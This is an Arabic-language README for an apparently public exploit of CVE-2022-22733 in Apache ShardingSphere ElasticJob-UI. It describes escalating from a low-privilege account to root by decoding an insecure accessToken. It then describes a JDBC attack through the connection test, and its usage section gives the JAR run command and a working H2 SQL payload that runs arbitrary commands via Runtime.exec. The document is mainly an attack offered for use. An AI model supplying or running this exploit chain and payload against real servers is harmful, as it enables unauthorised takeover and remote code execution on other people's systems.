CVE-2022-22733

CVE-2022-22733 هي ثغرة أمنية تؤثر على Apache ShardingSphere ElasticJob-UI الإصدار 3.0.0 وما دونه، وتؤدي الثغرة إلى تصعيد الامتيازات (Privilege Escalation). ولكن، من خلال إساءة استخدام الامتيازات المُصعّدة يمكن تنفيذ هجوم JDBC وتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE). يمكنك قراءة تحليل الثغرة من هنا ومدونة كتابة الاستغلال خطوة بخطوة من هنا.

يعمل الاستغلال على النحو التالي:

• تسجيل الدخول باستخدام الحساب منخفض الامتيازات.
• الحصول على accessToken المُنشأ بشكل غير آمن.
• فك ترميز accessToken المُنشأ بشكل غير آمن.
• تحليل البيانات المُفككة من accessToken.
• استرجاع بيانات اعتماد حساب root من البيانات التي تم تحليلها.
• تسجيل الدخول باستخدام بيانات اعتماد حساب root والحصول على صلاحيات كاملة على التطبيق.
• إرسال طلب اختبار الاتصال مع إساءة استخدام هجوم ``JDBC`.

الاستخدام

يمكنك تنزيل ملف JAR من هنا وشفرة المصدر من هنا.

• تشغيل jar:

java -jar CVE-2022-22733.jar

• كود سكربت SQL:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('your_command_here')

عرض توضيحي